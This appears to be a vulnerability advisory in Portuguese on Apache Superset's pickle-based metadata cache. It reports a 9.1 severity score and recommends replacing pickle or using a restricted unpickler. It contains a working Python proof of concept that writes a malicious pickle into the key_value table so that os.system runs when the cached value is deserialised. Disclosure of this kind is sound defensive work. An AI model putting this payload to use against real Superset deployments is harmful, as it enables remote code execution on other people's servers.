
Explorar o cache padrão do Superset usando pickle
[ Autor ] Dinis Cruz
[ Projeto ] Superset
O Apache Superset oferece diferentes opções de cache, todas baseadas no Flask-Caching. Um cache embutido é fornecido, que serializa valores para recuperação posterior. Essa serialização e recuperação são feitas usando Pickle, que permite a desserialização de objetos Python e, portanto, a execução de código.
O cache embutido escreve informações no banco de dados de metadados, o que significa que um invasor com acesso a esse banco de dados pode escalar seus privilégios e obter acesso remoto à máquina/container que serve o Superset.
Classe MetaStoreCache, que utiliza a classe PickleKeyValueCodec para serialização de informações.
Este problema foi reproduzido criando primeiro uma instalação limpa do Superset que usará o cache embutido como padrão.
Com o conhecimento já estabelecido de que o acesso ao banco de dados é necessário para explorar este problema. Podemos atualizar os valores de todos os valores em cache com o exploit pickle. Mais tarde, quando o valor for servido de volta ao usuário, o módulo pickle desserializará os dados e executará nosso código. Um PoC em Python pode ser encontrado abaixo.
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
Este script atualiza todos os valores armazenados em cache no banco de dados e, uma vez que os dados são servidos de volta ao usuário, um arquivo evil.sh é criado no diretório /tmp para fins de demonstração.
Todos os usuários podem ser impactados.
Pontuação: 9.1
Embora a correção seja de responsabilidade da equipe do Superset. O grande problema reside no uso do pickle para serialização de dados. Pelo que entendi do commit #23888, foi feita uma mudança para remover a serialização Pickle de outros componentes, mas este foi mantido devido à necessidade de "lidar com tipos binários arbitrários". A solução mais limpa seria mudar para outro mecanismo de serialização, no entanto, seria possível implementar um unpickler restrito, que não é uma solução garantida, mas possivelmente exigiria menos trabalho na implementação.
Acesso ao banco de dados de metadados em uso pela instalação do Superset.
Nenhuma configuração especial, apenas um interpretador Python para gerar o payload; a introdução do payload malicioso no banco de dados pode ser feita de várias maneiras.